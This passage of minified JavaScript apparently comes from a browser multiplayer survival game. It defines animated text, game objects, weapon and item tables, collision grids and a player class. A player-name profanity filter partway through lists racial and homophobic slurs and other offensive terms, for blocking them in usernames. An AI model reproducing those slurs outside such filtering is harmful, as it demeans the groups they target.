5027 e.fillStyle = this.color, e.font = this.scale + "px Hammersmith One", e.fillText(
5028 this.text, this.x - t, this.y - n)
5029 }
5030 }, e.exports.TextManager = function() {
5031 this.texts = [], this.update = function(e, t, n, i) {
5032 t.textBaseline = "middle", t.textAlign = "center";
5033 for (var r = 0; r < this.texts.length; ++r) this.texts[r].life && (this.texts[
5034 r].update(e), this.texts[r].render(t, n, i))
5035 }, this.showText = function(t, n, i, r, s, a, o) {
5036 for (var c, l = 0; l < this.texts.length; ++l)
5037 if (!this.texts[l].life) {
5038 c = this.texts[l];
5039 break
5040 }
5041 c || (c = new e.exports.AnimText, this.texts.push(c)), c.init(t, n, i, r,
5042 s, a, o)
5043 }
5044 }
5045}, function(e, t) {
5046 e.exports = function(e) {
5047 this.sid = e, this.init = function(e, t, n, i, r, s, a) {
5048 s = s || {}, this.sentTo = {}, this.gridLocations = [], this.active = !0,
5049 this.doUpdate = s.doUpdate, this.x = e, this.y = t, this.dir = n, this.xWiggle =
5050 0, this.yWiggle = 0, this.scale = i, this.type = r, this.id = s.id,
5051 this.owner = a, this.name = s.name, this.isItem = null != this.id, this
5052 .group = s.group, this.health = s.health, this.layer = 2, null != this.group ?
5053 this.layer = this.group.layer : 0 == this.type ? this.layer = 3 : 2 ==
5054 this.type ? this.layer = 0 : 4 == this.type && (this.layer = -1), this.colDiv =
5055 s.colDiv || 1, this.blocker = s.blocker, this.ignoreCollision = s.ignoreCollision,
5056 this.dontGather = s.dontGather, this.hideFromEnemy = s.hideFromEnemy,
5057 this.friction = s.friction, this.projDmg = s.projDmg, this.dmg = s.dmg,
5058 this.pDmg = s.pDmg, this.pps = s.pps, this.zIndex = s.zIndex || 0, this
5059 .turnSpeed = s.turnSpeed, this.req = s.req, this.trap = s.trap, this.healCol =
5060 s.healCol, this.teleport = s.teleport, this.boostSpeed = s.boostSpeed,
5061 this.projectile = s.projectile, this.shootRange = s.shootRange, this.shootRate =
5062 s.shootRate, this.shootCount = this.shootRate, this.spawnPoint = s.spawnPoint
5063 }, this.changeHealth = function(e, t) {
5064 return this.health += e, this.health <= 0
5065 }, this.getScale = function(e, t) {
5066 return e = e || 1, this.scale * (this.isItem || 2 == this.type || 3 ==
5067 this.type || 4 == this.type ? 1 : .6 * e) * (t ? 1 : this.colDiv)
5068 }, this.visibleToPlayer = function(e) {
5069 return !this.hideFromEnemy || this.owner && (this.owner == e || this.owner
5070 .team && e.team == this.owner.team)
5071 }, this.update = function(e) {
5072 this.active && (this.xWiggle && (this.xWiggle *= Math.pow(.99, e)), this
5073 .yWiggle && (this.yWiggle *= Math.pow(.99, e)), this.turnSpeed && (
5074 this.dir += this.turnSpeed * e))
5075 }
5076 }
5077}, function(e, t) {
5078 e.exports.groups = [{
5079 id: 0,
5080 name: "food",
5081 layer: 0
5082 }, {
5083 id: 1,
5084 name: "walls",
5085 place: !0,
5086 limit: 30,
5087 layer: 0
5088 }, {
5089 id: 2,
5090 name: "spikes",
5091 place: !0,
5092 limit: 15,
5093 layer: 0
5094 }, {
5095 id: 3,
5096 name: "mill",
5097 place: !0,
5098 limit: 7,
5099 layer: 1
5100 }, {
5101 id: 4,
5102 name: "mine",
5103 place: !0,
5104 limit: 1,
5105 layer: 0
5106 }, {
5107 id: 5,
5108 name: "trap",
5109 place: !0,
5110 limit: 6,
5111 layer: -1
5112 }, {
5113 id: 6,
5114 name: "booster",
5115 place: !0,
5116 limit: 12,
5117 layer: -1
5118 }, {
5119 id: 7,
5120 name: "turret",
5121 place: !0,
5122 limit: 2,
5123 layer: 1
5124 }, {
5125 id: 8,
5126 name: "watchtower",
5127 place: !0,
5128 limit: 12,
5129 layer: 1
5130 }, {
5131 id: 9,
5132 name: "buff",
5133 place: !0,
5134 limit: 4,
5135 layer: -1
5136 }, {
5137 id: 10,
5138 name: "spawn",
5139 place: !0,
5140 limit: 1,
5141 layer: -1
5142 }, {
5143 id: 11,
5144 name: "sapling",
5145 place: !0,
5146 limit: 2,
5147 layer: 0
5148 }, {
5149 id: 12,
5150 name: "blocker",
5151 place: !0,
5152 limit: 3,
5153 layer: -1
5154 }, {
5155 id: 13,
5156 name: "teleporter",
5157 place: !0,
5158 limit: 2,
5159 layer: -1
5160 }], t.projectiles = [{
5161 indx: 0,
5162 layer: 0,
5163 src: "arrow_1",
5164 dmg: 25,
5165 speed: 1.6,
5166 scale: 103,
5167 range: 1e3
5168 }, {
5169 indx: 1,
5170 layer: 1,
5171 dmg: 25,
5172 scale: 20
5173 }, {
5174 indx: 0,
5175 layer: 0,
5176 src: "arrow_1",
5177 dmg: 35,
5178 speed: 2.5,
5179 scale: 103,
5180 range: 1200
5181 }, {
5182 indx: 0,
5183 layer: 0,
5184 src: "arrow_1",
5185 dmg: 30,
5186 speed: 2,
5187 scale: 103,
5188 range: 1200
5189 }, {
5190 indx: 1,
5191 layer: 1,
5192 dmg: 16,
5193 scale: 20
5194 }, {
5195 indx: 0,
5196 layer: 0,
5197 src: "bullet_1",
5198 dmg: 50,
5199 speed: 3.6,
5200 scale: 160,
5201 range: 1400
5202 }], t.weapons = [{
5203 id: 0,
5204 type: 0,
5205 name: "tool hammer",
5206 desc: "tool for gathering all resources",
5207 src: "hammer_1",
5208 length: 140,
5209 width: 140,
5210 xOff: -3,
5211 yOff: 18,
5212 dmg: 25,
5213 range: 65,
5214 gather: 1,
5215 speed: 300
5216 }, {
5217 id: 1,
5218 type: 0,
5219 age: 2,
5220 name: "hand axe",
5221 desc: "gathers resources at a higher rate",
5222 src: "axe_1",
5223 length: 140,
5224 width: 140,
5225 xOff: 3,
5226 yOff: 24,
5227 dmg: 30,
5228 spdMult: 1,
5229 range: 70,
5230 gather: 2,
5231 speed: 400
5232 }, {
5233 id: 2,
5234 type: 0,
5235 age: 8,
5236 name: "great axe",
5237 desc: "deal more damage and gather more resources",
5238 src: "great_axe_1",
5239 length: 140,
5240 width: 140,
5241 xOff: -8,
5242 yOff: 25,
5243 dmg: 35,
5244 spdMult: 1,
5245 range: 75,
5246 gather: 4,
5247 speed: 400
5248 }, {
5249 id: 3,
5250 type: 0,
5251 age: 2,
5252 name: "short sword",
5253 desc: "increased attack power but slower move speed",
5254 src: "sword_1",
5255 iPad: 1.3,
5256 length: 130,
5257 width: 210,
5258 xOff: -8,
5259 yOff: 46,
5260 dmg: 35,
5261 spdMult: .85,
5262 range: 110,
5263 gather: 1,
5264 speed: 300
5265 }, {
5266 id: 4,
5267 type: 0,
5268 age: 8,
5269 name: "katana",
5270 desc: "greater range and damage",
5271 src: "samurai_1",
5272 iPad: 1.3,
5273 length: 130,
5274 width: 210,
5275 xOff: -8,
5276 yOff: 59,
5277 dmg: 40,
5278 spdMult: .8,
5279 range: 118,
5280 gather: 1,
5281 speed: 300
5282 }, {
5283 id: 5,
5284 type: 0,
5285 age: 2,
5286 name: "polearm",
5287 desc: "long range melee weapon",
5288 src: "spear_1",
5289 iPad: 1.3,
5290 length: 130,
5291 width: 210,
5292 xOff: -8,
5293 yOff: 53,
5294 dmg: 45,
5295 knock: .2,
5296 spdMult: .82,
5297 range: 142,
5298 gather: 1,
5299 speed: 700
5300 }, {
5301 id: 6,
5302 type: 0,
5303 age: 2,
5304 name: "bat",
5305 desc: "fast long range melee weapon",
5306 src: "bat_1",
5307 iPad: 1.3,
5308 length: 110,
5309 width: 180,
5310 xOff: -8,
5311 yOff: 53,
5312 dmg: 20,
5313 knock: .7,
5314 range: 110,
5315 gather: 1,
5316 speed: 300
5317 }, {
5318 id: 7,
5319 type: 0,
5320 age: 2,
5321 name: "daggers",
5322 desc: "really fast short range weapon",
5323 src: "dagger_1",
5324 iPad: .8,
5325 length: 110,
5326 width: 110,
5327 xOff: 18,
5328 yOff: 0,
5329 dmg: 20,
5330 knock: .1,
5331 range: 65,
5332 gather: 1,
5333 hitSlow: .1,
5334 spdMult: 1.13,
5335 speed: 100
5336 }, {
5337 id: 8,
5338 type: 0,
5339 age: 2,
5340 name: "stick",
5341 desc: "great for gathering but very weak",
5342 src: "stick_1",
5343 length: 140,
5344 width: 140,
5345 xOff: 3,
5346 yOff: 24,
5347 dmg: 1,
5348 spdMult: 1,
5349 range: 70,
5350 gather: 7,
5351 speed: 400
5352 }, {
5353 id: 9,
5354 type: 1,
5355 age: 6,
5356 name: "hunting bow",
5357 desc: "bow used for ranged combat and hunting",
5358 src: "bow_1",
5359 req: ["wood", 4],
5360 length: 120,
5361 width: 120,
5362 xOff: -6,
5363 yOff: 0,
5364 projectile: 0,
5365 spdMult: .75,
5366 speed: 600
5367 }, {
5368 id: 10,
5369 type: 1,
5370 age: 6,
5371 name: "great hammer",
5372 desc: "hammer used for destroying structures",
5373 src: "great_hammer_1",
5374 length: 140,
5375 width: 140,
5376 xOff: -9,
5377 yOff: 25,
5378 dmg: 10,
5379 spdMult: .88,
5380 range: 75,
5381 sDmg: 7.5,
5382 gather: 1,
5383 speed: 400
5384 }, {
5385 id: 11,
5386 type: 1,
5387 age: 6,
5388 name: "wooden shield",
5389 desc: "blocks projectiles and reduces melee damage",
5390 src: "shield_1",
5391 length: 120,
5392 width: 120,
5393 shield: .2,
5394 xOff: 6,
5395 yOff: 0,
5396 spdMult: .7
5397 }, {
5398 id: 12,
5399 type: 1,
5400 age: 8,
5401 name: "crossbow",
5402 desc: "deals more damage and has greater range",
5403 src: "crossbow_1",
5404 req: ["wood", 5],
5405 aboveHand: !0,
5406 armS: .75,
5407 length: 120,
5408 width: 120,
5409 xOff: -4,
5410 yOff: 0,
5411 projectile: 2,
5412 spdMult: .7,
5413 speed: 700
5414 }, {
5415 id: 13,
5416 type: 1,
5417 age: 9,
5418 name: "repeater crossbow",
5419 desc: "high firerate crossbow with reduced damage",
5420 src: "crossbow_2",
5421 req: ["wood", 10],
5422 aboveHand: !0,
5423 armS: .75,
5424 length: 120,
5425 width: 120,
5426 xOff: -4,
5427 yOff: 0,
5428 projectile: 3,
5429 spdMult: .7,
5430 speed: 230
5431 }, {
5432 id: 14,
5433 type: 1,
5434 age: 6,
5435 name: "mc grabby",
5436 desc: "steals resources from enemies",
5437 src: "grab_1",
5438 length: 130,
5439 width: 210,
5440 xOff: -8,
5441 yOff: 53,
5442 dmg: 0,
5443 steal: 250,
5444 knock: .2,
5445 spdMult: 1.05,
5446 range: 125,
5447 gather: 0,
5448 speed: 700
5449 }, {
5450 id: 15,
5451 type: 1,
5452 age: 9,
5453 name: "musket",
5454 desc: "slow firerate but high damage and range",
5455 src: "musket_1",
5456 req: ["stone", 10],
5457 aboveHand: !0,
5458 rec: .35,
5459 armS: .6,
5460 hndS: .3,
5461 hndD: 1.6,
5462 length: 205,
5463 width: 205,
5464 xOff: 25,
5465 yOff: 0,
5466 projectile: 5,
5467 hideProjectile: !0,
5468 spdMult: .6,
5469 speed: 1500
5470 }], e.exports.list = [{
5471 group: e.exports.groups[0],
5472 name: "apple",
5473 desc: "restores 20 health when consumed",
5474 req: ["food", 10],
5475 consume: function(e) {
5476 return e.changeHealth(20, e)
5477 },
5478 scale: 22,
5479 holdOffset: 15
5480 }, {
5481 age: 3,
5482 group: e.exports.groups[0],
5483 name: "cookie",
5484 desc: "restores 40 health when consumed",
5485 req: ["food", 15],
5486 consume: function(e) {
5487 return e.changeHealth(40, e)
5488 },
5489 scale: 27,
5490 holdOffset: 15
5491 }, {
5492 age: 7,
5493 group: e.exports.groups[0],
5494 name: "cheese",
5495 desc: "restores 30 health and another 50 over 5 seconds",
5496 req: ["food", 25],
5497 consume: function(e) {
5498 return !!(e.changeHealth(30, e) || e.health < 100) && (e.dmgOverTime.dmg = -10, e.dmgOverTime.doer = e, e.dmgOverTime.time = 5, !0)
5499 },
5500 scale: 27,
5501 holdOffset: 15
5502 }, {
5503 group: e.exports.groups[1],
5504 name: "wood wall",
5505 desc: "provides protection for your village",
5506 req: ["wood", 10],
5507 projDmg: !0,
5508 health: 380,
5509 scale: 50,
5510 holdOffset: 20,
5511 placeOffset: -5
5512 }, {
5513 age: 3,
5514 group: e.exports.groups[1],
5515 name: "stone wall",
5516 desc: "provides improved protection for your village",
5517 req: ["stone", 25],
5518 health: 900,
5519 scale: 50,
5520 holdOffset: 20,
5521 placeOffset: -5
5522 }, {
5523 age: 7,
5524 group: e.exports.groups[1],
5525 name: "castle wall",
5526 desc: "provides powerful protection for your village",
5527 req: ["stone", 35],
5528 health: 1500,
5529 scale: 52,
5530 holdOffset: 20,
5531 placeOffset: -5
5532 }, {
5533 group: e.exports.groups[2],
5534 name: "spikes",
5535 desc: "damages enemies when they touch them",
5536 req: ["wood", 20, "stone", 5],
5537 health: 400,
5538 dmg: 20,
5539 scale: 49,
5540 spritePadding: -23,
5541 holdOffset: 8,
5542 placeOffset: -5
5543 }, {
5544 age: 5,
5545 group: e.exports.groups[2],
5546 name: "greater spikes",
5547 desc: "damages enemies when they touch them",
5548 req: ["wood", 30, "stone", 10],
5549 health: 500,
5550 dmg: 35,
5551 scale: 52,
5552 spritePadding: -23,
5553 holdOffset: 8,
5554 placeOffset: -5
5555 }, {
5556 age: 9,
5557 group: e.exports.groups[2],
5558 name: "poison spikes",
5559 desc: "poisons enemies when they touch them",
5560 req: ["wood", 35, "stone", 15],
5561 health: 600,
5562 dmg: 30,
5563 pDmg: 5,
5564 scale: 52,
5565 spritePadding: -23,
5566 holdOffset: 8,
5567 placeOffset: -5
5568 }, {
5569 age: 9,
5570 group: e.exports.groups[2],
5571 name: "spinning spikes",
5572 desc: "damages enemies when they touch them",
5573 req: ["wood", 30, "stone", 20],
5574 health: 500,
5575 dmg: 45,
5576 turnSpeed: .003,
5577 scale: 52,
5578 spritePadding: -23,
5579 holdOffset: 8,
5580 placeOffset: -5
5581 }, {
5582 group: e.exports.groups[3],
5583 name: "windmill",
5584 desc: "generates gold over time",
5585 req: ["wood", 50, "stone", 10],
5586 health: 400,
5587 pps: 1,
5588 turnSpeed: .0016,
5589 spritePadding: 25,
5590 iconLineMult: 12,
5591 scale: 45,
5592 holdOffset: 20,
5593 placeOffset: 5
5594 }, {
5595 age: 5,
5596 group: e.exports.groups[3],
5597 name: "faster windmill",
5598 desc: "generates more gold over time",
5599 req: ["wood", 60, "stone", 20],
5600 health: 500,
5601 pps: 1.5,
5602 turnSpeed: .0025,
5603 spritePadding: 25,
5604 iconLineMult: 12,
5605 scale: 47,
5606 holdOffset: 20,
5607 placeOffset: 5
5608 }, {
5609 age: 8,
5610 group: e.exports.groups[3],
5611 name: "power mill",
5612 desc: "generates more gold over time",
5613 req: ["wood", 100, "stone", 50],
5614 health: 800,
5615 pps: 2,
5616 turnSpeed: .005,
5617 spritePadding: 25,
5618 iconLineMult: 12,
5619 scale: 47,
5620 holdOffset: 20,
5621 placeOffset: 5
5622 }, {
5623 age: 5,
5624 group: e.exports.groups[4],
5625 type: 2,
5626 name: "mine",
5627 desc: "allows you to mine stone",
5628 req: ["wood", 20, "stone", 100],
5629 iconLineMult: 12,
5630 scale: 65,
5631 holdOffset: 20,
5632 placeOffset: 0
5633 }, {
5634 age: 5,
5635 group: e.exports.groups[11],
5636 type: 0,
5637 name: "sapling",
5638 desc: "allows you to farm wood",
5639 req: ["wood", 150],
5640 iconLineMult: 12,
5641 colDiv: .5,
5642 scale: 110,
5643 holdOffset: 50,
5644 placeOffset: -15
5645 }, {
5646 age: 4,
5647 group: e.exports.groups[5],
5648 name: "pit trap",
5649 desc: "pit that traps enemies if they walk over it",
5650 req: ["wood", 10, "stone", 10],
5651 trap: !0,
5652 ignoreCollision: !0,
5653 hideFromEnemy: !0,
5654 health: 500,
5655 colDiv: .2,
5656 scale: 50,
5657 holdOffset: 20,
5658 placeOffset: -5
5659 }, {
5660 age: 4,
5661 group: e.exports.groups[6],
5662 name: "boost pad",
5663 desc: "provides boost when stepped on",
5664 req: ["stone", 20, "wood", 5],
5665 ignoreCollision: !0,
5666 boostSpeed: 1.5,
5667 health: 150,
5668 colDiv: .7,
5669 scale: 45,
5670 holdOffset: 20,
5671 placeOffset: -5
5672 }, {
5673 age: 7,
5674 group: e.exports.groups[7],
5675 doUpdate: !0,
5676 name: "turret",
5677 desc: "defensive structure that shoots at enemies",
5678 req: ["wood", 200, "stone", 150],
5679 health: 800,
5680 projectile: 1,
5681 shootRange: 700,
5682 shootRate: 2200,
5683 scale: 43,
5684 holdOffset: 20,
5685 placeOffset: -5
5686 }, {
5687 age: 7,
5688 group: e.exports.groups[8],
5689 name: "platform",
5690 desc: "platform to shoot over walls and cross over water",
5691 req: ["wood", 20],
5692 ignoreCollision: !0,
5693 zIndex: 1,
5694 health: 300,
5695 scale: 43,
5696 holdOffset: 20,
5697 placeOffset: -5
5698 }, {
5699 age: 7,
5700 group: e.exports.groups[9],
5701 name: "healing pad",
5702 desc: "standing on it will slowly heal you",
5703 req: ["wood", 30, "food", 10],
5704 ignoreCollision: !0,
5705 healCol: 15,
5706 health: 400,
5707 colDiv: .7,
5708 scale: 45,
5709 holdOffset: 20,
5710 placeOffset: -5
5711 }, {
5712 age: 9,
5713 group: e.exports.groups[10],
5714 name: "spawn pad",
5715 desc: "you will spawn here when you die but it will dissapear",
5716 req: ["wood", 100, "stone", 100],
5717 health: 400,
5718 ignoreCollision: !0,
5719 spawnPoint: !0,
5720 scale: 45,
5721 holdOffset: 20,
5722 placeOffset: -5
5723 }, {
5724 age: 7,
5725 group: e.exports.groups[12],
5726 name: "blocker",
5727 desc: "blocks building in radius",
5728 req: ["wood", 30, "stone", 25],
5729 ignoreCollision: !0,
5730 blocker: 300,
5731 health: 400,
5732 colDiv: .7,
5733 scale: 45,
5734 holdOffset: 20,
5735 placeOffset: -5
5736 }, {
5737 age: 7,
5738 group: e.exports.groups[13],
5739 name: "teleporter",
5740 desc: "teleports you to a random point on the map",
5741 req: ["wood", 60, "stone", 60],
5742 ignoreCollision: !0,
5743 teleport: !0,
5744 health: 200,
5745 colDiv: .7,
5746 scale: 45,
5747 holdOffset: 20,
5748 placeOffset: -5
5749 }];
5750 for (var n = 0; n < e.exports.list.length; ++n) e.exports.list[n].id = n, e.exports
5751 .list[n].pre && (e.exports.list[n].pre = n - e.exports.list[n].pre)
5752}, function(e, t) {
5753 e.exports = {}
5754}, function(e, t) {
5755 var n = Math.floor,
5756 i = Math.abs,
5757 r = Math.cos,
5758 s = Math.sin,
5759 a = (Math.pow, Math.sqrt);
5760 e.exports = function(e, t, o, c, l, h) {
5761 var u, f;
5762 this.objects = t, this.grids = {}, this.updateObjects = [];
5763 var d = c.mapScale / c.colGrid;
5764 this.setObjectGrids = function(e) {
5765 for (var t = Math.min(c.mapScale, Math.max(0, e.x)), n = Math.min(c.mapScale,
5766 Math.max(0, e.y)), i = 0; i < c.colGrid; ++i) {
5767 u = i * d;
5768 for (var r = 0; r < c.colGrid; ++r) f = r * d, t + e.scale >= u && t -
5769 e.scale <= u + d && n + e.scale >= f && n - e.scale <= f + d && (this.grids[
5770 i + "_" + r] || (this.grids[i + "_" + r] = []), this.grids[i + "_" +
5771 r].push(e), e.gridLocations.push(i + "_" + r))
5772 }
5773 }, this.removeObjGrid = function(e) {
5774 for (var t, n = 0; n < e.gridLocations.length; ++n)(t = this.grids[e.gridLocations[
5775 n]].indexOf(e)) >= 0 && this.grids[e.gridLocations[n]].splice(t, 1)
5776 }, this.disableObj = function(e) {
5777 if (e.active = !1, h) {
5778 e.owner && e.pps && (e.owner.pps -= e.pps), this.removeObjGrid(e);
5779 var t = this.updateObjects.indexOf(e);
5780 t >= 0 && this.updateObjects.splice(t, 1)
5781 }
5782 }, this.hitObj = function(e, t) {
5783 for (var n = 0; n < l.length; ++n) l[n].active && (e.sentTo[l[n].id] &&
5784 (e.active ? l[n].canSee(e) && h.send(l[n].id, "8", o.fixTo(t, 1), e.sid) :
5785 h.send(l[n].id, "12", e.sid)), e.active || e.owner != l[n] || l[n].changeItemCount(
5786 e.group.id, -1))
5787 };
5788 var p, g, m = [];
5789 this.getGridArrays = function(e, t, i) {
5790 u = n(e / d), f = n(t / d), m.length = 0;
5791 try {
5792 this.grids[u + "_" + f] && m.push(this.grids[u + "_" + f]), e + i >= (u +
5793 1) * d && ((p = this.grids[u + 1 + "_" + f]) && m.push(p), f && t - i <=
5794 f * d ? (p = this.grids[u + 1 + "_" + (f - 1)]) && m.push(p) : t + i >=
5795 (f + 1) * d && (p = this.grids[u + 1 + "_" + (f + 1)]) && m.push(p)),
5796 u && e - i <= u * d && ((p = this.grids[u - 1 + "_" + f]) && m.push(p),
5797 f && t - i <= f * d ? (p = this.grids[u - 1 + "_" + (f - 1)]) && m.push(
5798 p) : t + i >= (f + 1) * d && (p = this.grids[u - 1 + "_" + (f + 1)]) &&
5799 m.push(p)), t + i >= (f + 1) * d && (p = this.grids[u + "_" + (f + 1)]) &&
5800 m.push(p), f && t - i <= f * d && (p = this.grids[u + "_" + (f - 1)]) &&
5801 m.push(p)
5802 } catch (e) {}
5803 return m
5804 }, this.add = function(n, i, r, s, a, o, c, l, u) {
5805 g = null;
5806 for (var f = 0; f < t.length; ++f)
5807 if (t[f].sid == n) {
5808 g = t[f];
5809 break
5810 }
5811 if (!g)
5812 for (f = 0; f < t.length; ++f)
5813 if (!t[f].active) {
5814 g = t[f];
5815 break
5816 }
5817 g || (g = new e(n), t.push(g)), l && (g.sid = n), g.init(i, r, s, a, o,
5818 c, u), h && (this.setObjectGrids(g), g.doUpdate && this.updateObjects.push(
5819 g))
5820 }, this.disableBySid = function(e) {
5821 for (var n = 0; n < t.length; ++n)
5822 if (t[n].sid == e) {
5823 this.disableObj(t[n]);
5824 break
5825 }
5826 }, this.removeAllItems = function(e, n) {
5827 for (var i = 0; i < t.length; ++i) t[i].active && t[i].owner && t[i].owner
5828 .sid == e && this.disableObj(t[i]);
5829 n && n.broadcast("13", e)
5830 }, this.fetchSpawnObj = function(e) {
5831 for (var n = null, i = 0; i < t.length; ++i)
5832 if ((g = t[i]).active && g.owner && g.owner.sid == e && g.spawnPoint) {
5833 n = [g.x, g.y], this.disableObj(g), h.broadcast("12", g.sid), g.owner &&
5834 g.owner.changeItemCount(g.group.id, -1);
5835 break
5836 }
5837 return n
5838 }, this.checkItemLocation = function(e, n, i, r, s, a, l) {
5839 for (var h = 0; h < t.length; ++h) {
5840 var u = t[h].blocker ? t[h].blocker : t[h].getScale(r, t[h].isItem);
5841 if (t[h].active && o.getDistance(e, n, t[h].x, t[h].y) < i + u) return !
5842 1
5843 }
5844 return !(!a && 18 != s && n >= c.mapScale / 2 - c.riverWidth / 2 && n <=
5845 c.mapScale / 2 + c.riverWidth / 2)
5846 }, this.addProjectile = function(e, t, n, i, r) {
5847 for (var s, a = items.projectiles[r], c = 0; c < projectiles.length; ++c)
5848 if (!projectiles[c].active) {
5849 s = projectiles[c];
5850 break
5851 }
5852 s || (s = new Projectile(l, o), projectiles.push(s)), s.init(r, e, t, n,
5853 a.speed, i, a.scale)
5854 }, this.checkCollision = function(e, t, n) {
5855 n = n || 1;
5856 var l = e.x - t.x,
5857 h = e.y - t.y,
5858 u = e.scale + t.scale;
5859 if (i(l) <= u || i(h) <= u) {
5860 u = e.scale + (t.getScale ? t.getScale() : t.scale);
5861 var f = a(l * l + h * h) - u;
5862 if (f <= 0) {
5863 if (t.ignoreCollision) !t.trap || e.noTrap || t.owner == e || t.owner &&
5864 t.owner.team && t.owner.team == e.team ? t.boostSpeed ? (e.xVel += n *
5865 t.boostSpeed * (t.weightM || 1) * r(t.dir), e.yVel += n * t.boostSpeed *
5866 (t.weightM || 1) * s(t.dir)) : t.healCol ? e.healCol = t.healCol : t
5867 .teleport && (e.x = o.randInt(0, c.mapScale), e.y = o.randInt(0, c.mapScale)) :
5868 (e.lockMove = !0, t.hideFromEnemy = !1);
5869 else {
5870 var d = o.getDirection(e.x, e.y, t.x, t.y);
5871 if (o.getDistance(e.x, e.y, t.x, t.y), t.isPlayer ? (f = -1 * f / 2,
5872 e.x += f * r(d), e.y += f * s(d), t.x -= f * r(d), t.y -= f * s(d)) :
5873 (e.x = t.x + u * r(d), e.y = t.y + u * s(d), e.xVel *= .75, e.yVel *=
5874 .75), t.dmg && t.owner != e && (!t.owner || !t.owner.team || t.owner
5875 .team != e.team)) {
5876 e.changeHealth(-t.dmg, t.owner, t);
5877 var p = 1.5 * (t.weightM || 1);
5878 e.xVel += p * r(d), e.yVel += p * s(d), !t.pDmg || e.skin && e.skin.poisonRes ||
5879 (e.dmgOverTime.dmg = t.pDmg, e.dmgOverTime.time = 5, e.dmgOverTime.doer =
5880 t.owner), e.colDmg && t.health && (t.changeHealth(-e.colDmg) &&
5881 this.disableObj(t), this.hitObj(t, o.getDirection(e.x, e.y, t.x, t
5882 .y)))
5883 }
5884 }
5885 return t.zIndex > e.zIndex && (e.zIndex = t.zIndex), !0
5886 }
5887 }
5888 return !1
5889 }
5890 }
5891}, function(e, t, n) {
5892 var i = new(n(49));
5893 i.addWords("jew", "black", "baby", "child", "white", "porn", "pedo", "trump",
5894 "clinton", "hitler", "nazi", "gay", "pride", "sex", "pleasure", "touch",
5895 "poo", "kids", "rape", "white power", "nigga", "nig nog", "doggy",
5896 "rapist", "boner", "nigger", "nigg", "finger", "nogger", "nagger", "nig",
5897 "fag", "gai", "pole", "stripper", "penis", "vagina", "pussy", "nazi",
5898 "hitler", "stalin", "burn", "chamber", "cock", "peen", "dick", "spick",
5899 "nieger", "die", "satan", "n|ig", "nlg", "cunt", "c0ck", "fag", "lick",
5900 "condom", "anal", "shit", "phile", "little", "kids", "free KR", "tiny",
5901 "sidney", "ass", "kill", ".io", "(dot)", "[dot]", "mini", "whiore",
5902 "whore", "faggot", "github", "1337", "666", "satan", "senpa", "discord",
5903 "d1scord", "mistik", ".io", "senpa.io", "sidney", "sid", "senpaio",
5904 "vries", "asa");
5905 var r = Math.abs,
5906 s = Math.cos,
5907 a = Math.sin,
5908 o = Math.pow,
5909 c = Math.sqrt;
5910 e.exports = function(e, t, n, l, h, u, f, d, p, g, m, y, k, v) {
5911 this.id = e, this.sid = t, this.tmpScore = 0, this.team = null, this.skinIndex =
5912 0, this.tailIndex = 0, this.hitTime = 0, this.tails = {};
5913 for (var w = 0; w < m.length; ++w) m[w].price <= 0 && (this.tails[m[w].id] =
5914 1);
5915 for (this.skins = {}, w = 0; w < g.length; ++w) g[w].price <= 0 && (this.skins[
5916 g[w].id] = 1);
5917 this.points = 0, this.dt = 0, this.hidden = !1, this.itemCounts = {}, this
5918 .isPlayer = !0, this.pps = 0, this.moveDir = void 0, this.skinRot = 0,
5919 this.lastPing = 0, this.iconIndex = 0, this.skinColor = 0, this.spawn =
5920 function(e) {
5921 this.active = !0, this.alive = !0, this.lockMove = !1, this.lockDir = !1,
5922 this.minimapCounter = 0, this.chatCountdown = 0, this.shameCount = 0,
5923 this.shameTimer = 0, this.sentTo = {}, this.gathering = 0, this.autoGather =
5924 0, this.animTime = 0, this.animSpeed = 0, this.mouseState = 0, this.buildIndex = -
5925 1, this.weaponIndex = 0, this.dmgOverTime = {}, this.noMovTimer = 0,
5926 this.maxXP = 300, this.XP = 0, this.age = 1, this.kills = 0, this.upgrAge =
5927 2, this.upgradePoints = 0, this.x = 0, this.y = 0, this.zIndex = 0,
5928 this.xVel = 0, this.yVel = 0, this.slowMult = 1, this.dir = 0, this.dirPlus =
5929 0, this.targetDir = 0, this.targetAngle = 0, this.maxHealth = 100, this
5930 .health = this.maxHealth, this.scale = n.playerScale, this.speed = n.playerSpeed,
5931 this.resetMoveDir(), this.resetResources(e), this.items = [0, 3, 6, 10],
5932 this.weapons = [0], this.shootCount = 0, this.weaponXP = [], this.reloads = {}
5933 }, this.resetMoveDir = function() {
5934 this.moveDir = void 0
5935 }, this.resetResources = function(e) {
5936 for (var t = 0; t < n.resourceTypes.length; ++t) this[n.resourceTypes[t]] =
5937 e ? 100 : 0
5938 }, this.addItem = function(e) {
5939 var t = p.list[e];
5940 if (t) {
5941 for (var n = 0; n < this.items.length; ++n)
5942 if (p.list[this.items[n]].group == t.group) return this.buildIndex ==
5943 this.items[n] && (this.buildIndex = e), this.items[n] = e, !0;
5944 return this.items.push(e), !0
5945 }
5946 return !1
5947 }, this.setUserData = function(e) {
5948 if (e) {
5949 this.name = "unknown";
5950 var t = e.name + "",
5951 r = !1,
5952 s = (t = (t = (t = (t = t.slice(0, n.maxNameLength)).replace(
5953 /[^\w:\(\)\/? -]+/gim, " ")).replace(/[^\x00-\x7F]/g, " ")).trim()).toLowerCase()
5954 .replace(/\s/g, "").replace(/1/g, "i").replace(/0/g, "o").replace(/5/g,
5955 "s");
5956 for (var a of i.list)
5957 if (-1 != s.indexOf(a)) {
5958 r = !0;
5959 break
5960 }
5961 t.length > 0 && !r && (this.name = t), this.skinColor = 0, n.skinColors[
5962 e.skin] && (this.skinColor = e.skin)
5963 }
5964 }, this.getData = function() {
5965 return [this.id, this.sid, this.name, l.fixTo(this.x, 2), l.fixTo(this.y,
5966 2), l.fixTo(this.dir, 3), this.health, this.maxHealth, this.scale,
5967 this.skinColor
5968 ]
5969 }, this.setData = function(e) {
5970 this.id = e[0], this.sid = e[1], this.name = e[2], this.x = e[3], this.y =
5971 e[4], this.dir = e[5], this.health = e[6], this.maxHealth = e[7], this.scale =
5972 e[8], this.skinColor = e[9]
5973 };
5974 var b = 0;
5975 this.update = function(e) {
5976 if (this.alive) {
5977 if (this.shameTimer > 0 && (this.shameTimer -= e, this.shameTimer <= 0 &&
5978 (this.shameTimer = 0, this.shameCount = 0)), (b -= e) <= 0) {
5979 var t = (this.skin && this.skin.healthRegen ? this.skin.healthRegen :
5980 0) + (this.tail && this.tail.healthRegen ? this.tail.healthRegen : 0);
5981 t && this.changeHealth(t, this), this.dmgOverTime.dmg && (this.changeHealth(-
